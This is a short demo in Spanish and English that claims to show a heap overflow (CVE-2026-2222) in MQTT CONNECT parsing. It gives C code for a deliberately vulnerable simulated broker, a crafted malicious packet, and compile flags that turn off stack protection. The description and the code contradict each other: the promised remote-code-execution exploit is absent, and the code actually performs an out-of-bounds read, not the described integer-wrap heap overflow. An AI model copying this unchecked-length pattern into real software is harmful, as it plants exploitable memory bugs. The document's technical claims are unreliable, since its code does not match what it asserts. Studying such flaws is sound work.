
Demuestra el desbordamiento de montón CVE-2026-2222 en el manejo de paquetes MQTT CONNECT con un broker vulnerable simulado y código de exploit de prueba de concepto para ejecución remota de código.
// mqtt_broker_sim.c - Simulated vulnerable MQTT broker
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
struct mqtt_connect {
char protocol_name[8];
uint8_t protocol_level;
uint8_t flags;
uint16_t keepalive;
// remaining length field misinterpreted
};
void process_connect(uint8_t *packet, size_t len) {
// Assume we've parsed fixed header: remaining length = (packet[1] & 0x7F) + ...
// For demo, we read a 2-byte "remaining length" from packet[1:3] and allocate that many bytes,
// then copy payload without proper bounds.
uint16_t remaining_length = (packet[1] << 8) | packet[2]; // should be encoded as variable length, but we misuse
printf("Allocating %d bytes\n", remaining_length);
char *buffer = malloc(remaining_length); // if remaining_length is crafted to wrap, small allocation
// copy payload from packet+3 for remaining_length bytes -> heap overflow if remaining_length > len-3
memcpy(buffer, packet+3, remaining_length); // overflow
// process...
free(buffer);
}
int main() {
// Crafted malicious packet: remaining_length = 0xFFFF (65535) but actual packet size small
uint8_t evil[] = {0x10, 0xFF, 0xFF, 0x00, 0x04, 'M','Q','T','T'}; // length 9
process_connect(evil, sizeof(evil));
return 0;
}
Un desbordamiento de entero en el análisis del campo de longitud restante del paquete CONNECT de MQTT provoca un desbordamiento de búfer en el montón, lo que permite la ejecución remota de código en el broker.
Compila y ejecuta el broker vulnerable simulado:
gcc mqtt_broker_sim.c -o mqtt_broker_sim -fno-stack-protector -z execstack
./mqtt_broker_sim